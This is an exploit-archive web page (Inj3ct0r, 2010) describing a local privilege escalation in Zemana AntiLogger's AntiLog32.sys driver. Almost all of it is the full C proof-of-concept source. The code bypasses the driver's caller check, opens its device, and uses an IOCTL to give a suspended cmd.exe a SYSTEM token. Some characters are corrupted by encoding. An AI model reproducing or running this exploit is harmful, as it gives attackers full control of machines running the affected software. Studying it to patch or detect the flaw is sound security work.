<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>=======================================================================
Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation
=======================================================================

Zemana AntiLogger AntiLog32.sys &lt;= 1.5.2.755 Local Privilege Escalation Vulnerability

VULNERABLE PRODUCTS
Zemana AntiLogger &lt;=1.9.2.2.206

DETAILS:
AntiLog32.sys create a device called DeviceAntiLog32 , and handles DeviceIoControl request IoControlCode = 0×8000201C , which can elevate the privilege of a process to another process

EXPLOIT CODE:

#include &quot;stdafx.h&quot;
#include &quot;windows.h&quot;
#include &quot;winioctl.h&quot;
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0×8000 , 0×807 , METHOD_BUFFERED , FILE_ANY_ACCESS)

typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;

int main(int argc, char* argv[])
{
printf(&quot;Zemana AntiLogger &lt;=1.9.2.2.206 AntiLog32.sys &lt;= 1.5.2.755n&quot;
&quot;Local Privilege Escalation Vulnerability Proof-of-Conceptn&quot;
&quot;2010-7-28n&quot;
&quot;By MJ0011 th_decoder@126.comnnPress Entern&quot;);
getchar();

//bypass some useless create check

PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr-&gt;e_lfanew);
PVOID waddr = &amp;pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;

ULONG oldp ;

VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &amp;oldp);
pnthdr-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0×1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &amp;oldp);

HANDLE hdev = CreateFile(&quot;\\.\AntiLog32&quot; ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,0);

if (hdev == INVALID_HANDLE_VALUE)
{
printf(&quot;cannot open device %un&quot; , GetLastError());
getchar();
return 0;

}

STARTUPINFOA sia ;
memset(&amp;sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(? , 0 , sizeof(pi));

if (!CreateProcess(&quot;c:\windows\system32\cmd.exe&quot; ,
NULL ,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED,
NULL,
NULL,
&amp;sia ,
?))
{
printf(&quot;cannot run cmd.exe….%un&quot;, GetLastError());
getchar();
return 0 ;
}

IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;

if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &amp;ip , sizeof(ip) , NULL , 0 , &amp;btr, 0))
{
printf(&quot;cannot impersonate process %un&quot; , GetLastError());
getchar();
return 0 ;
}

ResumeThread(pi.hThread);

printf(&quot;OKn&quot;);

return 0;
}

================================

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-28]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13499